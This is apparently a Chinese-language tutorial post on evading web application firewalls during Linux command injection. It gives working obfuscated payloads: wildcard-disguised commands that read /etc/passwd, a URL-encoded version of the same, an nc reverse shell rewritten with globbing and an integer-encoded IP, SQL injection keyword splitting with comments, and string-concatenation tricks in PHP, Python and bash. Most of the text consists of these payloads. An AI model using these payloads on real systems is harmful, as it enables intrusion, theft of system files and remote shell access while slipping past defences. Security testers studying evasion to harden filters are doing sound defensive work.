绕过waf之命令执行

引子

人生不是做菜,不能等所有材料准备好了再下锅。

参考资料

命令执行的一些绕过技巧

Web Application Firewall (WAF) Evasion Techniques

Web Application Firewall (WAF) Evasion Techniques #2

正文

本文要讨论的是在linux系统中,当有rce(远程命令执行)漏洞时,绕过waf的操作有哪些。

基础知识提要

wildcard通配符,又叫做globbing通配符,有很多语法可以使用?/和数字+字母,就可以执行系统命令。
例如:

1
2
/???/?s --help
就通过通配符,代替了/bin/ls --help,执行了系统命令

如果防火墙没有过滤?和/,那么就可以构造通配符的命令注入

使用这种方式 /bin/cat /etc/passwd

可以写为 /???/??t /??c/p???w?

然后url编码一下,%20%2f%3f%3f%3f%2f%3f%3f%74%20%2f%3f%3f%63%2f%70%3f%3f%3f%77%3f就可以绕过waf进行命令执行。

/???/??t /??c/p???w?虽然会执行/bin/cat /etc/passwd,但是同时也会执行/dev/net,/etc/apt,因为/???/??t就是以t结尾,规定了字符长度而已,所以会grobbing匹配,也就是环回滚动依次匹配的意思。

nc反弹shell的案例

1
2
3
nc -e /bin/bash 127.0.0.1 1337

/???/n? -e /???/b??h 2130706433 1337

使用上面提到的方式,可以将nc反弹shell的语句修改为这样。

可以在线转换ip转换为int,这样可以避免使用IP中的小数点,进一步绕过waf规则。

这里普及一下基础知识:IP地址是一个32位的二进制数,通常被分割为4个“8位二进制数”(也就是4个字节)。IP地址通常用“点分十进制”表示成(a.b.c.d)的形式,其中,a,b,c,d都是0~255之间的十进制整数。例:点分十进IP地址(100.4.5.6),实际上是32位二进制数(01100100.00000100.00000101.00000110)

使用?而不是*

在linux中,?和*都可以作为通配符。但是在sql中/*代表注释*/,所以最好使用更加不容易被过滤的而不是*

如果过滤了ls可以使用echo

echo /???/??ss??

可以枚举存在的目录和文件

sql注入-waf绕过

使用注释/**/代替空格,例如/?id=1+un/**/ion+sel/**/ect+1,2,3--
不能在本地文件包含或者命令执行中使用。

参考fluxcapacitor,使用连接字符串,绕过waf

连接符过waf

这种方法可以过滤以正则表达式搜索短语的过滤规则。

加号

  • 加号,在许多编程语言中,通常可以连接两个字符串

点号

在php中,点号.可以连接两个字符串,例如

1
2
3
4
$ php -r 'echo "hello"." world"."\n";'
hello world
$ python -c 'print "hello" + " world"'
hello world

空格和双引号

在python中,空格和双引号可以连接两个字符串,例如:
python -c 'print "te" "st"'

单引号

在bash中,单引号可以作为连接符,注意单引号要成双数来闭合引号。

1
2
3
4
5
# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''